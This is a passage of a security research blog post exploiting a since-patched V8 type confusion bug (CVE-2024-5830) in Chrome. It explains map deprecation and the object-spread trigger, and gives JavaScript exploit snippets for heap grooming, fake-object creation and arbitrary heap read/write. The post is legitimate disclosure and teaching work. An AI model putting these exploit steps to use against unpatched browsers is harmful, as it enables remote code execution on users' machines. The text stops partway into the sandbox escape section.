{"id":79230,"date":"2024-08-13T08:00:11","date_gmt":"2024-08-13T15:00:11","guid":{"rendered":"https:\/\/github.blog\/?p=79230"},"modified":"2024-08-13T08:55:39","modified_gmt":"2024-08-13T15:55:39","slug":"from-object-transition-to-rce-in-the-chrome-renderer","status":"publish","type":"post","link":"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/","title":{"rendered":"From object transition to RCE in the Chrome renderer"},"content":{"rendered":"<!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/REC-html40\/loose.dtd\">\n<html><body><p>In this post, I&rsquo;ll exploit <a href=\"https:\/\/github.com\/advisories\/GHSA-fchp-8m28-g68f\">CVE-2024-5830<\/a>, a type confusion bug in v8, the Javascript engine of Chrome that I reported in May 2024 as <a href=\"https:\/\/issues.chromium.org\/issues\/342456991\">bug 342456991<\/a>. The bug was fixed in version <a href=\"https:\/\/chromereleases.googleblog.com\/2024\/06\/stable-channel-update-for-desktop.html\">126.0.6478.56\/57<\/a>. This bug allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.<\/p>\n<h2 id=\"object-map-and-map-transitions-in-v8\" id=\"object-map-and-map-transitions-in-v8\" ><a class=\"heading-link\" href=\"#object-map-and-map-transitions-in-v8\">Object map and map transitions in V8<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>This section contains some background materials in object maps and transitions that are needed to understand the vulnerability. Readers who are familiar with this can skip to the next section.<\/p>\n<p>The concept of a map (or hidden class) is fairly fundamental to Javascript interpreters. It represents the memory layout of an object and is crucial in the optimization of property access. There are already many good articles that go into much more detail on this topic. I particularly recommend &ldquo;<a href=\"https:\/\/mathiasbynens.be\/notes\/shapes-ics#object-model\">JavaScript engine fundamentals: Shapes and Inline Caches<\/a>&rdquo; by Mathias Bynens.<\/p>\n<p>A map holds an array of property descriptors (<a href=\"https:\/\/v8.dev\/blog\/fast-properties#hiddenclasses-and-descriptorarrays\"><code>DescriptorArrays<\/code><\/a>) that contains information about each property. It also holds details about the elements of the object and its <a href=\"https:\/\/v8.dev\/blog\/elements-kinds\">type<\/a>.<\/p>\n<p>Maps are shared between objects with the same property layout. For example, the following objects both have a single property <code>a<\/code> of type <code>SMI<\/code> (31 bit integers), so they can share the same map.<\/p>\n<pre><code class=\"language-javascript\">\no1 = {a : 1};\no2 = {a : 10000};  \/\/&lt;------ same map as o1, MapA\n<\/code><\/pre>\n<p>Maps also account property types in an object. For example, the following object, <code>o3<\/code> has a map different from <code>o1<\/code> and <code>o2<\/code>, because its property <code>a<\/code> is of type <code>double<\/code> (<code>HeapNumber<\/code>), rather than <code>SMI<\/code>:<\/p>\n<pre><code class=\"language-javascript\">\no3 = {a : 1.1};\n<\/code><\/pre>\n<p>When a new property is added to an object, if a map does not already exist for the new object layout, a new map will be created.<\/p>\n<pre><code class=\"language-javascript\">\no1.b = 1; \/\/&lt;------ new map with SMI properties a and b\n<\/code><\/pre>\n<p>When this happens, the old and the new map are related by a transition:<\/p>\n<pre><code>\n%DebugPrint(o2);\nDebugPrint: 0x3a5d00049001: [JS_OBJECT_TYPE]\n - map: 0x3a5d00298911 <map> [FastProperties]\n ...\n - All own properties (excluding elements): {\n    0x3a5d00002b19: [String] in ReadOnlySpace: #a: 10000 (const data field 0), location: in-object\n }\n0x3a5d00298911: [Map] in OldSpace\n - map: 0x3a5d002816d9 &lt;MetaMap (0x3a5d00281729 )&gt;\n ...\n - instance descriptors #1: 0x3a5d00049011 \n - transitions #1: 0x3a5d00298999 <map>\n     0x3a5d00002b29: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -&gt; 0x3a5d00298999 <map>\n ...\n<\/map><\/map><\/map><\/code><\/pre>\n<p>Note that the map of <code>o2<\/code> contains a transition to another map (<code>0x3a5d00298999<\/code>), which is the newly created map for <code>o3<\/code>:<\/p>\n<pre><code>\n%DebugPrint(o3);\nDebugPrint: 0x3a5d00048fd5: [JS_OBJECT_TYPE]\n - map: 0x3a5d00298999 <map> [FastProperties]\n ...\n - All own properties (excluding elements): {\n    0x3a5d00002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object\n    0x3a5d00002b29: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: properties[0]\n }\n0x3a5d00298999: [Map] in OldSpace\n - map: 0x3a5d002816d9 &lt;MetaMap (0x3a5d00281729 )&gt;\n ...\n - back pointer: 0x3a5d00298911 <map>\n ...\n<\/map><\/map><\/code><\/pre>\n<p>Conversely, the map of <code>o2<\/code> (<code>0x3a5d00298911<\/code>) is stored in this new map as the back pointer. A map can store multiple transitions in a <code>TransitionArray<\/code>. For example, if another property <code>c<\/code> is added to <code>o2<\/code>, then the <code>TransitionArray<\/code> will contain two transitions, one to property <code>b<\/code> and another to property <code>c<\/code>:<\/p>\n<pre><code class=\"language-javascript\">\no4 = {a : 1};\no2.c = 1;\n%DebugPrint(o4);\nDebugPrint: 0x2dd400049055: [JS_OBJECT_TYPE]\n - map: 0x2dd400298941 <map> [FastProperties]\n - All own properties (excluding elements): {\n    0x2dd400002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object\n }\n0x2dd400298941: [Map] in OldSpace\n - map: 0x2dd4002816d9 &lt;MetaMap (0x2dd400281729 )&gt;\n ...\n - transitions #2: 0x2dd400298a35 Transition array #2:\n     0x2dd400002b39: [String] in ReadOnlySpace: #c: (transition to (const data field, attrs: [WEC]) @ Any) -&gt; 0x2dd400298a0d <map>\n     0x2dd400002b29: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -&gt; 0x2dd4002989c9 <map>\n ...\n<\/map><\/map><\/map><\/code><\/pre>\n<p>When a field of type <code>SMI<\/code> in an object is assigned a <code>double<\/code> (<code>HeapNumber<\/code>) value, because the <code>SMI<\/code> type cannot hold a <code>double<\/code> value, the map of the object needs to change to reflect this:<\/p>\n<pre><code class=\"language-javascript\">\no1 = {a : 1};\no2 = {a : 1};\no1 = {a : 1.1};\n%DebugPrint(o1);\nDebugPrint: 0x1b4e00049015: [JS_OBJECT_TYPE]\n - map: 0x1b4e002989a1 <map> [FastProperties]\n ...\n - All own properties (excluding elements): {\n    0x1b4e00002b19: [String] in ReadOnlySpace: #a: 0x1b4e00049041  (const data field 0), location: in-object\n }\n...\n%DebugPrint(o2);\nDebugPrint: 0x1b4e00049005: [JS_OBJECT_TYPE]\n - map: 0x1b4e00298935 <map> [FastProperties]\n ...\n - All own properties (excluding elements): {\n    0x1b4e00002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object\n }\n0x1b4e00298935: [Map] in OldSpace\n ...\n - deprecated_map\n ...\n<\/map><\/map><\/code><\/pre>\n<p>Note that, not only do <code>o1<\/code> and <code>o2<\/code> have different maps, but the map of <code>o2<\/code> is also marked as <code>deprecated<\/code>. This means that when a new object of the same property layout is created, it&rsquo;ll use the map of <code>o1<\/code> (<code>0x1b4e002989a1<\/code>) instead of that of <code>o2<\/code> (<code>0x1b4e00298935<\/code>) because a more general map, the map of <code>o1<\/code>, whose field can represent both <code>HeapNumber<\/code> and <code>SMI<\/code>, is now available. Moreover, the map of <code>o2<\/code> will also be updated to the map of <code>o1<\/code> when its properties are accessed. This is done via the <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/refs\/tags\/125.0.6422.112:v8\/src\/objects\/map-updater.cc;l=272\"><code>UpdateImpl<\/code><\/a> function:<\/p>\n<pre><code class=\"language-cpp\">\nHandle<map> MapUpdater::UpdateImpl() {\n  ...\n  if (FindRootMap() == kEnd) return result_map_;\n  if (FindTargetMap() == kEnd) return result_map_;\n  if (ConstructNewMap() == kAtIntegrityLevelSource) {\n    ConstructNewMapWithIntegrityLevelTransition();\n  }\n  ...\n  return result_map_;\n}\n<\/map><\/code><\/pre>\n<p>Essentially, the function uses the <code>back pointer<\/code> of a <code>map<\/code> to retrace the transitions until it reaches the first map that does not have a back<code>pointer<\/code> (the <code>RootMap<\/code>). It then goes through the transitions from the <code>RootMap<\/code> to check if there already exists a suitable map in the transitions that can be used for the object (<code>FindTargetMap<\/code>). If a suitable map is found, then <code>ConstructNewMap<\/code> will create a new map which is then used by the object.<\/p>\n<p>For example, in the following case, a map with three properties becomes deprecated when the second property is assigned a <code>HeapNumber<\/code> value:<\/p>\n<pre><code class=\"language-javascript\">\nobj = {a : 1};\nobj.b = 1;\nobj.c = 1; \/\/&lt;---- Map now has 3 SMI properties\nobj.b = 1.1 \/\/&lt;----- original map becomes deprecated and a new map is created\n<\/code><\/pre>\n<p>In this case, two new maps are created. First a map with properties <code>a<\/code> and <code>b<\/code> of types <code>SMI<\/code> and <code>HeapNumber<\/code> respectively, then another map with three properties, <code>a : SMI<\/code>, <code>b : HeapNumber<\/code> and <code>c : SMI<\/code> to accommodate the new property layout:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/08\/daigram1.png?w=697&#038;resize=697%2C361\" alt=\"Diagram showing the two new maps that have been created.\" width=\"697\" height=\"361\" class=\"aligncenter size-large wp-image-79231 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/08\/daigram1.png?w=697 697w, https:\/\/github.blog\/wp-content\/uploads\/2024\/08\/daigram1.png?w=300 300w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/p>\n<p>In the above image, the red maps become deprecated and the green maps are newly created maps. After the property assignment, <code>obj<\/code> will be using the newly created map that has properties <code>a<\/code>, <code>b<\/code> and <code>c<\/code> and the transitions to the deprecated red maps are removed and replaced by the new green transitions.<\/p>\n<p>In v8, object properties can be stored in an array or in a dictionary. Objects with properties stored in an array are referred to as fast objects, while objects with properties in dictionaries are dictionary objects. Map transitions and deprecations are specific to fast objects and normally, when a map deprecation happens, another fast map is created by <code>UpdateImpl<\/code>. This, however, is not necessarily the case. Let&rsquo;s take a look at a slightly different example:<\/p>\n<pre><code class=\"language-javascript\">\nobj = {a : 1};\nobj.b = 1;    \/\/&lt;---- MapB\nobj.c = 1;    \/\/&lt;---- MapC\n\nobj2 = {a : 1};\nobj2.b = 1;  \/\/&lt;----- MapB\nobj2.b = 1.1;   \/\/&lt;---- map of obj becomes deprecated\n<\/code><\/pre>\n<p>Assigning a <code>HeapNumber<\/code> to <code>obj2.b<\/code> causes both the original map of <code>obj2<\/code> (<code>MapB<\/code>), as well as the map of <code>obj<\/code> (<code>MapC<\/code>) to become deprecated. This is because the map of <code>obj<\/code> (<code>MapC<\/code>) is now a transition of a deprecated map (<code>MapB<\/code>), which causes it to become deprecated as well:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/08\/diagram2.png?w=688&#038;resize=688%2C358\" alt=\"Diagram showing the deprecation of previous maps.\" width=\"688\" height=\"358\" class=\"aligncenter size-large wp-image-79232 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/08\/diagram2.png?w=688 688w, https:\/\/github.blog\/wp-content\/uploads\/2024\/08\/diagram2.png?w=300 300w\" sizes=\"auto, (max-width: 688px) 100vw, 688px\" \/><\/p>\n<p>As <code>obj<\/code> now has a deprecated map, its map will be updated when any of its property is accessed:<\/p>\n<pre><code class=\"language-javascript\">\nx = obj.a; \/\/&lt;---- calls UpdateImpl to update the map of obj\n<\/code><\/pre>\n<p>In this case, a new map has to be created and a new transition is added to the map of <code>obj2<\/code>. However, there is a limited number of transitions that a map can hold. Prior to adding a new transition, a <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/refs\/tags\/125.0.6422.112:v8\/src\/objects\/map-updater.cc;l=999\">check<\/a> is carried out to ensure that the map can hold another transition:<\/p>\n<pre><code class=\"language-cpp\">\nMapUpdater::State MapUpdater::ConstructNewMap() {\n  ...\n  if (maybe_transition.is_null() &amp;&amp;\n      !TransitionsAccessor::CanHaveMoreTransitions(isolate_, split_map)) {\n    return Normalize(\"Normalize_CantHaveMoreTransitions\");\n  }\n  ...\n<\/code><\/pre>\n<p>If no more transitions can be added, then a new dictionary map will be created via <code>Normalize<\/code>.<\/p>\n<pre><code class=\"language-javascript\">\nobj = {a : 1};\nobj.b = 1;\nobj.c = 1;\n\nobj2 = {a : 1};\nobj2.b = 1.1;   \/\/&lt;---- map of obj becomes deprecated\n\n\/\/Add transitions to the map of obj2\nfor (let i = 0; i &lt; 1024 + 512; i++) {\n  let tmp = {a : 1};\n  tmp.b = 1.1;\n  tmp['c' + i] = 1;\n}\n\nobj.a = 1; \/\/&lt;----- calls UpdateImpl to update map of obj\n<\/code><\/pre>\n<p>As the map of <code>obj2<\/code> cannot hold anymore transitions, a new dictionary map is created for <code>obj<\/code> after its property is accessed. This behavior is somewhat unexpected, so <code>Update<\/code> is often followed by a debug assertion to ensure that the updated map is not a dictionary map (<code>DCHECK<\/code> is only active in a debug build):<\/p>\n<pre><code class=\"language-cpp\">\nHandle<map> Map::PrepareForDataProperty(Isolate* isolate, Handle<map> map,\n                                        InternalIndex descriptor,\n                                        PropertyConstness constness,\n                                        Handle<object> value) {\n  \/\/ Update to the newest map before storing the property.\n  map = Update(isolate, map);\n  \/\/ Dictionaries can store any property value.\n  DCHECK(!map-&gt;is_dictionary_map());\n  return UpdateDescriptorForValue(isolate, map, descriptor, constness, value);\n}\n<\/object><\/map><\/map><\/code><\/pre>\n<h2 id=\"the-vulnerability\" id=\"the-vulnerability\" ><a class=\"heading-link\" href=\"#the-vulnerability\">The vulnerability<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>While most uses of the function <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/refs\/tags\/125.0.6422.112:v8\/src\/objects\/map.cc;l=1903\"><code>PrepareForDataProperty<\/code><\/a> cannot result in a dictionary map after <code>Update<\/code> is called, <code>PrepareForDataProperty<\/code> can be called by <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/refs\/tags\/125.0.6422.112:v8\/src\/objects\/js-objects.cc;l=4088\"><code>CreateDataProperty<\/code><\/a> via <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/refs\/tags\/125.0.6422.112:v8\/src\/objects\/js-objects.cc;l=3539\"><code>TryFastAddDataProperty<\/code><\/a>, which may result in a dictionary map after updating. There are different paths that use <code>CreateDataProperty<\/code>, but one particularly interesting path is in object cloning. When an object is copied using the <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/JavaScript\/Reference\/Operators\/Spread_syntax#spread_in_object_literals\">spread syntax<\/a>, a shallow copy of the original object is created:<\/p>\n<pre><code class=\"language-javascript\">\nvar obj1 = {a : 1};\nconst clonedObj = { ...obj1 };\n<\/code><\/pre>\n<p>In this case, <code>CreateDataProperty<\/code> is used for creating new properties in <code>clonedObj<\/code> and to update its map when appropriate. However, if the object being cloned, <code>obj1<\/code> contains a property accessor, then it&rsquo;ll be called while the object is being cloned. For example, in the following case:<\/p>\n<pre><code class=\"language-javascript\">\nvar x = {};\nx.a0 = 1;\nx.__defineGetter__(\"prop\", function() {\n  return 1;\n});\n\nvar y = {...x};\n<\/code><\/pre>\n<p>In this case, when <code>x<\/code> is cloned into <code>y<\/code>, the property accessor <code>prop<\/code> in <code>x<\/code> is called after the property <code>a0<\/code> is copied to <code>y<\/code>. At this point, the map of <code>y<\/code> contains only the <code>SMI<\/code> property <code>a0<\/code> and it is possible for the accessor to cause the map of <code>y<\/code> to become deprecated.<\/p>\n<pre><code class=\"language-javascript\">\nvar x = {};\nx.a0 = 1;\nx.__defineGetter__(\"prop\", function() {\n  let obj = {};\n  obj.a0 = 1;   \/\/&lt;--- obj has same map as y at this point\n  obj.a0 = 1.5;  \/\/&lt;--- map of y becomes deprecated\n  return 1;\n});\n\nvar y = {...x};\n<\/code><\/pre>\n<p>When <code>CreateDataProperty<\/code> is called to copy the property <code>prop<\/code>, <code>Update<\/code> in <code>PrepareForDataProperty<\/code> is called to update the deprecated map of <code>y<\/code>. As explained before, by adding transitions to the map of <code>obj<\/code> in the property accessor, it is possible to cause the map update to return a dictionary map for <code>y<\/code>. Since the subsequent use of the updated map in <code>PrepareForDataProperty<\/code> assumes the updated map to be a fast map, rather than a dictionary map, this can corrupt the object <code>y<\/code> in various ways.<\/p>\n<h2 id=\"gaining-arbitrary-read-and-write-in-the-v8-heap\" id=\"gaining-arbitrary-read-and-write-in-the-v8-heap\" ><a class=\"heading-link\" href=\"#gaining-arbitrary-read-and-write-in-the-v8-heap\">Gaining arbitrary read and write in the v8 heap<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>To begin with, let&rsquo;s take a look at how the updated map is used in <code>PrepareForDataProperty<\/code>:<\/p>\n<pre><code class=\"language-cpp\">\nHandle<map> Map::PrepareForDataProperty(Isolate* isolate, Handle<map> map,\n                                        InternalIndex descriptor,\n                                        PropertyConstness constness,\n                                        Handle<object> value) {\n  map = Update(isolate, map);\n  ...\n  return UpdateDescriptorForValue(isolate, map, descriptor, constness, value);\n}\n<\/object><\/map><\/map><\/code><\/pre>\n<p>The updated <code>map<\/code> is first used by <code>UpdateDescriptorForValue<\/code>.<\/p>\n<pre><code class=\"language-cpp\">\nHandle<map> UpdateDescriptorForValue(Isolate* isolate, Handle<map> map,\n                                     InternalIndex descriptor,\n                                     PropertyConstness constness,\n                                     Handle<object> value) {\n  if (CanHoldValue(map-&gt;instance_descriptors(isolate), descriptor, constness,\n                   *value)) {\n    return map;\n  }\n  ...\n  return mu.ReconfigureToDataField(descriptor, attributes, constness,\n                                   representation, type);\n}\n<\/object><\/map><\/map><\/code><\/pre>\n<p>Within <code>UpdateDescriptorForValue<\/code> the <code>instance_descriptors<\/code> of <code>map<\/code> are accessed. The <code>instance_descriptors<\/code> contain information about properties in the map but it is only relevant for fast maps. For a dictionary map, it is always an empty array with zero length. Accessing <code>instance_descriptors<\/code> of a dictionary map would therefore result in out-of-bounds (OOB) access to the empty array. In particular, the call to <code>ReconfigureToDataField<\/code> can modify entries in the <code>instance_descriptors<\/code>. While this may look like a promising OOB write primitive, the problem is that zero length descriptor arrays in v8 point to the <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/refs\/tags\/125.0.6422.112:v8\/src\/roots\/roots.h;l=90\">empty_descriptor_array<\/a> that is stored in a read-only region:<\/p>\n<pre><code class=\"language-cpp\">\nV(DescriptorArray, empty_descriptor_array, EmptyDescriptorArray)\n<\/code><\/pre>\n<p>Any OOB write to the <code>empty_descriptor_array<\/code> is only going to write to the read-only memory region and cause a crash. To avoid this, I need to cause <code>CanHoldValue<\/code> to return <code>true<\/code> so that <code>ReconfigureToDataField<\/code> is not called. In the call to <code>CanHoldValue<\/code>, an OOB entry to the <code>empty_descriptor_array<\/code> is read and then certain conditions are checked:<\/p>\n<pre><code class=\"language-cpp\">\nbool CanHoldValue(Tagged descriptors, InternalIndex descriptor,\n                  PropertyConstness constness, Tagged<object> value) {\n  PropertyDetails details = descriptors-&gt;GetDetails(descriptor);\n  if (details.location() == PropertyLocation::kField) {\n    if (details.kind() == PropertyKind::kData) {\n      return IsGeneralizableTo(constness, details.constness()) &amp;&amp;\n             Object::FitsRepresentation(value, details.representation()) &amp;&amp;\n             FieldType::NowContains(descriptors-&gt;GetFieldType(descriptor),\n                                    value);\n  ...\n<\/object><\/code><\/pre>\n<p>Although <code>empty_descriptor_array<\/code> is stored in a read-only region and I cannot control the memory content that is behind it, the read index, <code>descriptor,<\/code> is the array index that corresponds to the property <code>prop<\/code>, which I can control. By changing the number of properties that precede <code>prop<\/code> in <code>x<\/code>, I can control the OOB read offset to the <code>empty_descriptor_array<\/code>. This allows me to choose an appropriate offset so that the conditions in <code>CanHoldValue<\/code> are satisfied.<\/p>\n<p>While this avoids an immediate crash, it is not exactly useful as far as exploits go. So, let&rsquo;s take a look at what comes next after a dictionary map is returned from <code>PrepareForDataProperty<\/code>.<\/p>\n<pre><code class=\"language-cpp\">\nbool CanHoldValue(Tagged descriptors, InternalIndex descriptor,\n                  PropertyConstness constness, Tagged<object> value) {\n  PropertyDetails details = descriptors-&gt;GetDetails(descriptor);\n  if (details.location() == PropertyLocation::kField) {\n    if (details.kind() == PropertyKind::kData) {\n      return IsGeneralizableTo(constness, details.constness()) &amp;&amp;\n             Object::FitsRepresentation(value, details.representation()) &amp;&amp;\n             FieldType::NowContains(descriptors-&gt;GetFieldType(descriptor),\n                                    value);\n  ...\n<\/object><\/code><\/pre>\n<p>After the <code>new_map<\/code> returned, its <code>instance_descriptors<\/code>, which is the <code>empty_descriptor_array<\/code>, is read again at offset <code>descriptor<\/code>, and the result is used to provide another offset in a property write:<\/p>\n<pre><code class=\"language-cpp\">\nvoid JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details,\n                            Tagged<object> value) {\n  ...\n  FieldIndex index = FieldIndex::ForDetails(map(), details);\n  if (details.representation().IsDouble()) {\n    ...\n  } else {\n    FastPropertyAtPut(index, value);\n  }\n}\n<\/object><\/code><\/pre>\n<p>In the above, <code>index<\/code> is encoded in the <code>PropertyDetails<\/code> and is used in <code>FastPropertyAtPut<\/code> to write a property in the resulting object. However, <code>FastPropertyAtPut<\/code> assumes that the object has fast properties stored in a <code>PropertyArray<\/code> while our object is in fact a dictionary object with properties stored in a <code>NameDictionary<\/code>. This causes confusion between <code>PropertyArray<\/code> and <code>NameDictionary<\/code>, and because <code>NameDictionary<\/code> contains a few more internal fields than <code>PropertyArray<\/code>, writing to a <code>NameDictionary<\/code> using an offset that is meant for a <code>PropertyArray<\/code> can end up overwriting some internal fields in the <code>NameDictionary<\/code>. A common way to exploit a confusion between fast and dictionary objects is to overwrite the <code>capacity<\/code> field in the <code>NameDictionary<\/code>, which is used for checking the bounds when the <code>NameDictionary<\/code> is accessed (similar to the method that I used to exploit another v8 bug in this <a href=\"https:\/\/github.blog\/2023-09-26-getting-rce-in-chrome-with-incorrect-side-effect-in-the-jit-compiler\/#exploiting-the-bug\">post<\/a>).<\/p>\n<p>However, as I cannot fully control the <code>PropertyDetails<\/code> that comes from the OOB read of the <code>empty_descriptor_array<\/code>, I wasn&rsquo;t able to overwrite the <code>capacity<\/code> field of the <code>NameDictionary<\/code>. Instead, I managed to overwrite another internal field, <code>elements<\/code> of the <code>NameDictionary<\/code>. Although the <code>elements<\/code> field is not normally used for property access, it is used in <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/refs\/tags\/125.0.6422.112:v8\/src\/objects\/js-objects.cc;l=3779\"><code>MigrateSlowToFast<\/code><\/a> as a bound for accessing dictionary properties:<\/p>\n<pre><code class=\"language-cpp\">\nvoid JSObject::MigrateSlowToFast(Handle object,\n                                 int unused_property_fields,\n                                 const char* reason) {\n  ...\n  Handle iteration_order;\n  int iteration_length;\n  if constexpr (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {\n    ...\n  } else {\n    ...\n    iteration_length = dictionary-&gt;NumberOfElements();  \/\/&lt;---- elements field\n  }\n  ...\n  for (int i = 0; i get(i)));\n      k = dictionary-&gt;NameAt(index);\n\n      value = dictionary-&gt;ValueAt(index);     \/\/DetailsAt(index);\n    }\n    ...\n  }\n  ...\n}\n<\/code><\/pre>\n<p>In <code>MigrateSlowToFast<\/code>, <code>dictionary-&amp;gt;NumberOfElements()<\/code> is used as a bound of the property offsets in a loop that accesses the property <code>NameDictionary<\/code>. So by overwriting <code>elements<\/code> to a large value, I can cause OOB read when the property values are read in the loop. These property values are then copied to a newly created fast object. By arranging the heap carefully, I can control the <code>value<\/code> that is read and have it point to a fake object in the v8 heap.<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/08\/diagram3.png?w=685&#038;resize=685%2C587\" alt=\"Diagram displaying how to control the value that is read and have it point to a fake object in the v8 heap.\" width=\"685\" height=\"587\" class=\"aligncenter size-large wp-image-79233 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/08\/diagram3.png?w=685 685w, https:\/\/github.blog\/wp-content\/uploads\/2024\/08\/diagram3.png?w=300 300w\" sizes=\"auto, (max-width: 685px) 100vw, 685px\" \/><\/p>\n<p>In the above, the green box is the actual bounds of the <code>NameDictionary<\/code>, however, with a corrupted <code>elements<\/code> field, an OOB access can happen during <code>MigrateSlowToFast<\/code>, causing it to access the value in the red box, and use it as the value of the property. By arranging the heap, I can place arbitrary values in the red box, and in particular, I can make it point to a fake object that I created.<\/p>\n<p>Heap arrangement in v8 is fairly straightforward as objects are allocated linearly in the v8 heap. To place control values after the <code>NameDictionary<\/code>, I can allocate arrays after the object is cloned and then write control values to the array entries.<\/p>\n<pre><code class=\"language-javascript\">\nvar y = {...x};  \/\/&lt;---- NameDictionary allocated\n\n\/\/Placing control values after the NameDictionary\nvar arr = new Array(256);\nfor (let i = 0; i &lt; 7; i++) {\n  arr[i] = new Array(256);\n  for (let j = 0; j &lt; arr[i].length; j++) {\n    arr[i][j] = nameAddrF;\n  }\n}\n<\/code><\/pre>\n<p>To make sure that the value I placed after the <code>NameDictionary<\/code> points to a fake object, I need to know the address of the fake object. As I pointed out in a <a href=\"https:\/\/powerofcommunity.net\/poc2022\/ManYueMo.pdf\">talk<\/a> that I gave at the <a href=\"https:\/\/powerofcommunity.net\/2022.htm\">POC2022<\/a> conference, object addresses in v8 can be predicted reliably by simply knowing the version of Chrome. This allows me to work out the address of the fake object to use:<\/p>\n<pre><code class=\"language-javascript\">\nvar dblArray = [1.1,2.2];\nvar dblArrayAddr = 0x4881d;  \/\/&lt;---- address of dblArray is consistent across runs\n\nvar dblArrayEle = dblArrayAddr - 0x18;\n\/\/Creating a fake double array as an element with length 0x100\ndblArray[0] = i32tof(dblArrMap, 0x725);\ndblArray[1] = i32tof(dblArrayEle, 0x100);\n<\/code><\/pre>\n<p>By using the known addresses of objects and their maps, I can create both the fake object and also obtain its address.<\/p>\n<p>Once the heap is prepared, I can trigger <code>MigrateSlowToFast<\/code> to access the fake object. This can be done by first making the cloned object, <code>y<\/code>, a prototype of another object, <code>z<\/code>. Accessing any property of <code>z<\/code> will then trigger <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/refs\/tags\/125.0.6422.112:v8\/src\/ic\/ic.cc;l=441;bpv=0;bpt=0\"><code>MakePrototypesFast<\/code><\/a>, which calls <code>MigrateSlowToFast<\/code> for the object <code>y<\/code>:<\/p>\n<pre><code class=\"language-javascript\">\nvar z = {};\nz.__proto__ = y;\nz.p;    \/\/&lt;------ Calls MigrateSlowToFast for y\n<\/code><\/pre>\n<p>This then turns <code>y<\/code> into a fast object, with the fake object that I prepared earlier accessible as a property of <code>y<\/code>. A useful fake object is a fake double array with a large <code>length<\/code>, which can then be used to cause an OOB access to its elements.<\/p>\n<p>Once an OOB access to the fake double array is achieved, gaining arbitrary read and write in the v8 heap is rather straightforward. It essentially consists of the following steps:<\/p>\n<ol>\n<li>First, place an <code>Object<\/code> <code>Array<\/code> after the fake double array, and use the OOB read primitive in the fake double array to read the addresses of the objects stored in this array. This allows me to obtain the address of any V8 object.<\/li>\n<li>Place another double array, <code>writeArr<\/code> after the fake double array, and use the OOB write primitive in the fake double array to overwrite the <code>element<\/code> field of <code>writeArr<\/code> to an object address. Accessing the elements of <code>writeArr<\/code> then allows me to read\/write to arbitrary addresses.<\/li>\n<\/ol>\n<h2 id=\"thinking-outside-of-the-heap-sandbox\" id=\"thinking-outside-of-the-heap-sandbox\" ><a class=\"heading-link\" href=\"#thinking-outside-of-the-heap-sandbox\">Thinking outside of the heap sandbox<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>The recently introduced <a href=\"https:\/\/v8.dev\/blog\/sandbox\">v8 heap sandbox<\/a> isolates the v8 heap from other process memory, such as executable code, and prevents memory corruptions within the v8 heap from accessing memory outside of the heap. To gain code execution, a way to escape the heap sandbox is needed.<\/p>\n<p>In Chrome, <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\">Web API<\/a> objects, such as the <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/Document_Object_Model\"><code>DOM<\/code><\/a> object, are implemented in <a href=\"https:\/\/www.chromium.org\/blink\/\">Blink<\/a>. Objects in Blink are allocated outside of the v8 heap and are represented as api objects in v8:<\/p>\n<pre><code class=\"language-javascript\">\nvar domRect = new DOMRect(1.1,2.3,3.3,4.4);\n%DebugPrint(domRect);\n\nDebugPrint: 0x7610003484c9: [[api object] 0]\n ...\n - embedder fields: 2\n - properties: 0x7610000006f5 \n - All own properties (excluding elements): {}\n - embedder fields = {\n    0, aligned pointer: 0x7718f770b880\n    0, aligned pointer: 0x325d00107ca8\n }\n0x7610003b6985: [Map] in OldSpace\n - map: 0x76100022f835 &lt;MetaMap (0x76100022f885 )&gt;\n - type: [api object] 0\n ...\n<\/code><\/pre>\n<p>These objects are essentially wrappers to objects in Blink, and they contain two <code>embedder fields<\/code> that store the locations of the actual Blink object, as well as their actual type. Although <code>embedder fields<\/code> show up as pointer values in the <code>DebugPrint<\/code>, because of the heap sandbox, they are not actually stored as pointers in the v8 object, but as indices to a lookup table that is protected from being modified within the v8 heap.<\/p>\n<pre><code class=\"language-cpp\">\nbool EmbedderDataSlot::ToAlignedPointer(Isolate* isolate,\n                                        void** out_pointer) const {\n  